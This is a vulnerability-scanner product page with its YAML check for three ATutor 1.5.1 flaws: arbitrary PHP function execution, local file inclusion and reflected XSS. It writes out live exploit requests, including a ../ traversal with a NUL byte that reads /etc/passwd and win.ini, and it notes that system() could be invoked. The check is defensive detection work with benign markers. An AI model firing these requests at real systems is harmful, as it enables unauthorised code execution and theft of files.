ATutor — 1 vulnerability check
noctis ships 1 vulnerability check for ATutor, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
ATutor <= 1.5.1-pl1 multiple flaws: PHP function execution, file inclusion, XSS
| CVE | CVE-2005-3405, CVE-2005-3404, CVE-2005-3403 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/atutor/atutor-multiple-flaws.yaml |
Tests ATutor (1.4.1 to 1.5.1-pl1) for three flaws fixed in 1.5.2, under the /ATutor and /atutor folders and the web root. PHP function execution (CVE-2005-3405): include/html/forum.inc.php is requested directly with the addslashes parameter set to printf and asc set to a random marker holding "%%"; printf() prints it with "%%" reduced to "%", which proves the page ran the PHP function chosen in the request. A control request with a function that prints nothing must not return the reduced marker. File inclusion (CVE-2005-3404): documentation/common/print.php is requested with section set to a ../ sequence ending in etc/passwd (then windows/win.ini) and a NUL byte; the file's content in the reply confirms it, and a control request for an absent file must return no file content. Cross-site scripting (CVE-2005-3403): documentation/add_note.php is requested with the p parameter set to a random inert tag, which must come back unescaped inside the page's hidden form field. The first two flaws need PHP's register_globals on (and, for the file inclusion, PHP before 5.3.4 with magic_quotes_gpc off); each flaw found is reported once with its own CVE. Nothing is written on the target and no operating system command is run.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/include/html/forum.inc.php?addslashes=printf&asc=NOCTIS{{m.t1}}%25%25{{m.t2}}… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/include/html/forum.inc.php?addslashes=trim&asc=NOCTIS{{m.t1}}%25%25{{m.t2}}END - Parses / computes the next value with a Rhai script
- Checks
rce_r.bodyforNOCTIS[0-9a-f]+%[0-9a-f]+END→ finding QoD 97: ATutor forum.inc.php arbitrary PHP function execution (CVE-2005-3405) - HTTP(S) request
GET {{dir}}/documentation/common/print.php?section=../../../../../../../../../../etc/pass… - Checks
passwd_r.bodyfor(?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/documentation/common/print.php?section=../../../../../../../../../../windows/… - Checks
winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/documentation/common/print.php?section={{ctrl_path}}%00 - Checks
ctrl_r.bodyfor(?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support… - … and 5 more steps — see the feed source below
References:
- https://nvd.nist.gov/vuln/detail/CVE-2005-3405
- https://nvd.nist.gov/vuln/detail/CVE-2005-3404
- https://nvd.nist.gov/vuln/detail/CVE-2005-3403
- https://github.com/atutor/ATutor/blob/atutor_1_5_1/docs/include/html/forum.inc.php
- https://github.com/atutor/ATutor/compare/atutor_1_5_1...atutor_1_5_2
Feed source — tests/vulnerabilities/atutor/atutor-multiple-flaws.yaml
# ATutor 1.4.1 - 1.5.1-pl1 multiple flaws (CVE-2005-3403, CVE-2005-3404, CVE-2005-3405)
#
# Source: ATutor 1.5.1 (github.com/atutor/ATutor, tag atutor_1_5_1, docs/ = web root),
# fixed in 1.5.2 (tag atutor_1_5_2):
# - include/html/forum.inc.php (CVE-2005-3405) answers a direct request and runs
# $col = $addslashes($_GET['asc']);
# $addslashes is normally set by vitals.inc.php; with register_globals on, a direct
# request defines it, so ?addslashes=<php function>&asc=<arg> calls any PHP
# function with one argument. 1.5.2: `if (!defined('AT_INCLUDE_PATH')) { exit; }`.
# - documentation/common/print.php (CVE-2005-3404) sets $section only for
# ?admin/?instructor/?general, then require('../'.$section.'/pages.inc.php');
# with register_globals on, ?section=<../ path>%00 includes any file on PHP < 5.3.4
# (magic_quotes_gpc off). 1.5.2 defaults $section to 'general'.
# - documentation/add_note.php (CVE-2005-3403, vector 3, no register_globals needed)
# echoes $_GET['p'] raw into value="..."; 1.5.2 adds htmlspecialchars().
#
# magic_quotes_gpc (PHP's default) turns the quote into \" — still an XSS, so the
# anchor accepts value="\"><noctis-…> too.
#
# Detection, per install folder (/ATutor, /atutor, web root), each flaw reported once:
# 1. RCE (QoD 97): forum.inc.php?addslashes=printf&asc=NOCTIS<t1>%%<t2>END. printf()
# collapses "%%" into "%", so NOCTIS<t1>%<t2>END in the reply proves the request
# chose and ran a PHP function — a reflector echoes "%%". Control:
# ?addslashes=trim (no output) must not print the collapsed marker. Nothing runs
# outside PHP, and system() being disabled does not matter.
# 2. File read (QoD 75): print.php?section=../(x10)etc/passwd%00 (then windows/win.ini)
# returns the file; a control for an absent file in a random missing directory
# with the same ending must return none (tarpits / honeypots).
# 3. XSS (QoD 75): add_note.php?p="><noctis-<x>> comes back unescaped right after
# name="page" value=" — the exact place the vulnerable template echoes it.
#
# Better than the NASL (pre2008/atutor_multiple_flaws.nasl): it ran `id` through
# system() and only recognised the reply or the "system() has been disabled" message
# (a version hint, not a proof). The printf proof needs no OS command, works with
# system() disabled and is computed by PHP. The NASL also never tested the file
# inclusion and XSS CVEs it listed; each now gets its own finding.
#
# CVSS: NVD has only v2 scores (3405 7.5, 3404 7.5, 3403 4.3).
#
# Ported from OpenVAS/Greenbone NVT pre2008/atutor_multiple_flaws.nasl
# (OID 1.3.6.1.4.1.25623.1.0.20095, GPL-2.0-only).
uid: 482179d0-c8cc-4c48-9143-e67e4cfdd916
name: "ATutor <= 1.5.1-pl1 multiple flaws: PHP function execution, file inclusion, XSS"
description: |
Tests ATutor (1.4.1 to 1.5.1-pl1) for three flaws fixed in 1.5.2, under the
/ATutor and /atutor folders and the web root. PHP function execution
(CVE-2005-3405): include/html/forum.inc.php is requested directly with the
addslashes parameter set to printf and asc set to a random marker holding
"%%"; printf() prints it with "%%" reduced to "%", which proves the page ran
the PHP function chosen in the request. A control request with a function
that prints nothing must not return the reduced marker. File inclusion
(CVE-2005-3404): documentation/common/print.php is requested with section set
to a ../ sequence ending in etc/passwd (then windows/win.ini) and a NUL byte;
the file's content in the reply confirms it, and a control request for an
absent file must return no file content. Cross-site scripting (CVE-2005-3403):
documentation/add_note.php is requested with the p parameter set to a random
inert tag, which must come back unescaped inside the page's hidden form field.
The first two flaws need PHP's register_globals on (and, for the file
inclusion, PHP before 5.3.4 with magic_quotes_gpc off); each flaw found is
reported once with its own CVE. Nothing is written on the target and no
operating system command is run.
cves: [CVE-2005-3405, CVE-2005-3404, CVE-2005-3403]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [atutor, php, register-globals, code-execution, rce, lfi, file-read, xss, intrusive, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2005-3405"
- "https://nvd.nist.gov/vuln/detail/CVE-2005-3404"
- "https://nvd.nist.gov/vuln/detail/CVE-2005-3403"
- "https://github.com/atutor/ATutor/blob/atutor_1_5_1/docs/include/html/forum.inc.php"
- "https://github.com/atutor/ATutor/compare/atutor_1_5_1...atutor_1_5_2"
- "OpenVAS/Greenbone NASL pre2008/atutor_multiple_flaws.nasl (GPL-2.0-only)"
steps:
# Per-run markers (hex) and found-flags shared by every pass of the loop.
- id: mint
action: script
code: '#{ t1: rand_hex(8), t2: rand_hex(8), x: rand_hex(8) }'
store_as: m
- id: init-rce-found
action: set_var
var_name: rce_found
var_value: false
- id: init-lfi-found
action: set_var
var_name: lfi_found
var_value: false
- id: init-xss-found
action: set_var
var_name: xss_found
var_value: false
# ── Loop group: every following step runs once per install folder. Each pass
# resets the values it reads, so nothing is left over. ──
- id: init-rce-r
action: set_var
var_name: rce_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["/ATutor", "/atutor", ""]
- id: init-rce-c
action: set_var
var_name: rce_c
var_value: {status: 0, body: ""}
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
- id: init-lin-proof
action: set_var
var_name: lin_proof
var_value: ""
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-path
action: set_var
var_name: ctrl_path
var_value: ""
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
- id: init-xss-r
action: set_var
var_name: xss_r
var_value: {status: 0, body: ""}
# ── CVE-2005-3405: printf() chosen through register_globals ──────────────
- id: rce-probe
action: http_request
method: GET
path: "{{dir}}/include/html/forum.inc.php?addslashes=printf&asc=NOCTIS{{m.t1}}%25%25{{m.t2}}END"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "rce_found == false"
store_as: rce_r
- id: rce-hit
action: script
code: |
let b = rce_r.body;
type_of(b) == "string" && stridx(b, "NOCTIS" + m.t1 + "%" + m.t2 + "END") >= 0
store_as: rce_hit
# Control: a function that prints nothing — the reduced marker must not appear.
- id: rce-control
action: http_request
method: GET
path: "{{dir}}/include/html/forum.inc.php?addslashes=trim&asc=NOCTIS{{m.t1}}%25%25{{m.t2}}END"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "rce_found == false && rce_hit == true"
store_as: rce_c
- id: rce-verdict
action: script
code: |
let c = rce_c.body;
rce_found == false && rce_hit == true && rce_c.status != 0 && type_of(c) == "string"
&& stridx(c, "NOCTIS" + m.t1 + "%" + m.t2 + "END") < 0
store_as: rce_now
- id: rce-report
action: match
source: rce_r.body
pattern: "NOCTIS[0-9a-f]+%[0-9a-f]+END"
condition: "rce_now == true"
on_match:
set_vars:
rce_found: true
finding:
title: "ATutor forum.inc.php arbitrary PHP function execution (CVE-2005-3405)"
description: "A direct, unauthenticated request to include/html/forum.inc.php with the addslashes parameter set to printf made the page call printf() on the asc parameter: the reply carried the marker with \"%%\" reduced to \"%\", which printf() does when it prints its argument, while the same request with a function that prints nothing did not. Any PHP function can be called this way, including system(), so the flaw gives command execution as the web server user."
remediation: "Upgrade ATutor to 1.5.2 or later (forum.inc.php then exits when requested directly), and turn PHP's register_globals off."
cves: [CVE-2005-3405]
cvss: 7.5
severity: high
confidence_delta: 0.65
qod: 97
evidence: "GET {{dir}}/include/html/forum.inc.php?addslashes=printf&asc=NOCTIS{{m.t1}}%25%25{{m.t2}}END printed NOCTIS{{m.t1}}%{{m.t2}}END (printf ran); the addslashes=trim control did not"
# ── CVE-2005-3404: print.php $section include ─────────────────────────────
- id: read-passwd
action: http_request
method: GET
path: "{{dir}}/documentation/common/print.php?section=../../../../../../../../../../etc/passwd%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "lfi_found == false"
store_as: passwd_r
# No on_match: the raw body must not become evidence.
# name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
condition: "lfi_found == false && passwd_r.status != 0"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if lfi_found == false && passwd_r.status != 0 && passwd_m.matched && passwd_m.captures.len() > 2 {
let name = passwd_m.captures[0];
name.trim();
if name == "root" {
"root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
} else {
"<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
}
} else { "" }
store_as: lin_proof
- id: read-winini
action: http_request
method: GET
path: "{{dir}}/documentation/common/print.php?section=../../../../../../../../../../windows/win.ini%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lfi_found == false && lin_proof == "" && passwd_r.status != 0 && passwd_r.status != 404'
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'lfi_found == false && lin_proof == "" && winini_r.status == 200'
on_match:
set_vars:
win_file: "windows/win.ini"
# Control: an absent file in a random missing directory, with the same ending
# as the file that hit — must NOT return any file content.
- id: control-path
action: script
code: |
let f = if lin_proof != "" { "etc/passwd" } else { win_file };
"../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
condition: 'lfi_found == false && (lin_proof != "" || win_file != "")'
store_as: ctrl_path
- id: control
action: http_request
method: GET
path: "{{dir}}/documentation/common/print.php?section={{ctrl_path}}%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lfi_found == false && (lin_proof != "" || win_file != "")'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\])"
condition: 'lfi_found == false && (lin_proof != "" || win_file != "")'
on_match:
set_vars:
ctrl_hit: true
- id: report-passwd
action: match
source: lin_proof
pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
condition: "lfi_found == false && ctrl_r.status != 0 && ctrl_hit == false"
on_match:
set_vars:
lfi_found: true
finding:
title: "ATutor print.php local file inclusion (CVE-2005-3404)"
description: "An unauthenticated request to documentation/common/print.php with the section parameter set to a ../ sequence ending in etc/passwd and a NUL byte returned the content of /etc/passwd, while the same request for an absent file did not. Any file the web server user can read is disclosed this way, and PHP code in an included file is run."
remediation: "Upgrade ATutor to 1.5.2 or later, turn PHP's register_globals off, and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
cves: [CVE-2005-3404]
cvss: 7.5
severity: high
confidence_delta: 0.50
qod: 75
evidence: "{{dir}}/documentation/common/print.php?section=../../../../../../../../../../etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
- id: report-windows
action: match
source: win_file
pattern: "^windows/win\\.ini$"
condition: "lfi_found == false && ctrl_r.status != 0 && ctrl_hit == false"
on_match:
set_vars:
lfi_found: true
finding:
title: "ATutor print.php local file inclusion (CVE-2005-3404)"
description: "An unauthenticated request to documentation/common/print.php with the section parameter set to a ../ sequence ending in windows/win.ini and a NUL byte returned that file's content, while the same request for an absent file did not. Any file the web server user can read is disclosed this way, and PHP code in an included file is run."
remediation: "Upgrade ATutor to 1.5.2 or later, turn PHP's register_globals off, and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
cves: [CVE-2005-3404]
cvss: 7.5
severity: high
confidence_delta: 0.50
qod: 75
evidence: "{{dir}}/documentation/common/print.php?section=../../../../../../../../../../windows/win.ini%00 returned the content of windows/win.ini; control for an absent file returned no file content"
# ── CVE-2005-3403: add_note.php p reflected raw into the hidden field ─────
- id: xss-probe
action: http_request
method: GET
path: "{{dir}}/documentation/add_note.php?p=%22%3E%3Cnoctis-{{m.x}}%3E"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "xss_found == false"
store_as: xss_r
- id: xss-verdict
action: script
code: |
let b = xss_r.body;
xss_found == false && xss_r.status == 200 && type_of(b) == "string"
&& (stridx(b, "name=\"page\" value=\"\"><noctis-" + m.x + ">") >= 0
|| stridx(b, "name=\"page\" value=\"\\\"><noctis-" + m.x + ">") >= 0)
store_as: xss_now
- id: xss-report
action: match
source: xss_r.body
pattern: "name=\"page\" value=\"\\\\?\"><noctis-[0-9a-f]+>"
condition: "xss_now == true"
on_match:
set_vars:
xss_found: true
finding:
title: "ATutor add_note.php cross-site scripting (CVE-2005-3403)"
description: "An unauthenticated request to documentation/add_note.php with the p parameter set to a quote followed by a random inert tag returned the tag unescaped (the quote at most backslash-escaped by magic_quotes_gpc), breaking out of the page's hidden \"page\" form field. A crafted link can therefore run script in the browser of an ATutor user who follows it."
remediation: "Upgrade ATutor to 1.5.2 or later, which HTML-escapes the p parameter."
cves: [CVE-2005-3403]
cvss: 4.3
severity: medium
confidence_delta: 0.45
qod: 75
evidence: "GET {{dir}}/documentation/add_note.php?p=\"><noctis-{{m.x}}> returned <noctis-{{m.x}}> unescaped right after name=\"page\" value=\""